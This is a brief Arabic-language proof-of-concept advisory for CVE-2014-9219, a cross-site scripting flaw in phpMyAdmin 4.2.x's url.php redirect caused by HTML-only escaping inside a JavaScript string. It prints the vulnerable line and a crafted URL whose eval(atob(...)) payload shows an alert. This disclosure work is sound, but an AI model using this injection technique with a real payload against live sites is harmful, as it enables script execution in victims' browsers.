
CVE-2014-9219 XSS POC
إثبات المفهوم لثغرة XSS (CVE-2014-9219)
تحدث الثغرة بسبب خطأ في التحقق من صحة المدخلات في ميزة إعادة التوجيه في ملف url.php في phpMyAdmin 4.2.x قبل الإصدار 4.2.13.1 عند معالجة معامل url. يمكن لمهاجم عن بُعد خداع الضحية لاتباع رابط مصمم خصيصًا وتنفيذ كود HTML وسكربت تعسفي في متصفح الضحية ضمن السياق الأمني للموقع المعرّض للثغرة.
phpMyAdmin: 4.2.0 - 4.2.13
يستخدم الكود المعرّض للثغرة htmlspecialchars() لتعقيم معامل url قبل إدراجه في سياق سلسلة نصية داخل JavaScript:
window.location='" . htmlspecialchars($_GET['url']) . "';
دالة htmlspecialchars() مصممة لسياق HTML، وليس لسياق السلسلة النصية في JavaScript، لذلك فهي لا تقوم بترميز الهروب اللازم للأحرف التي يمكنها كسر حدود السلسلة النصية في JavaScript.
url (مُرمَّز):
url.php?url=http%3A%2F%2Fwww.phpmyadmin.net%2F'%2beval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))%2b'
url (بعد فك الترميز):
url.php?url=http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'
مخرجات HTML:
<script type='text/javascript'>
window.onload=function(){
window.location='http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'';
}
</script>Taking you to http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'.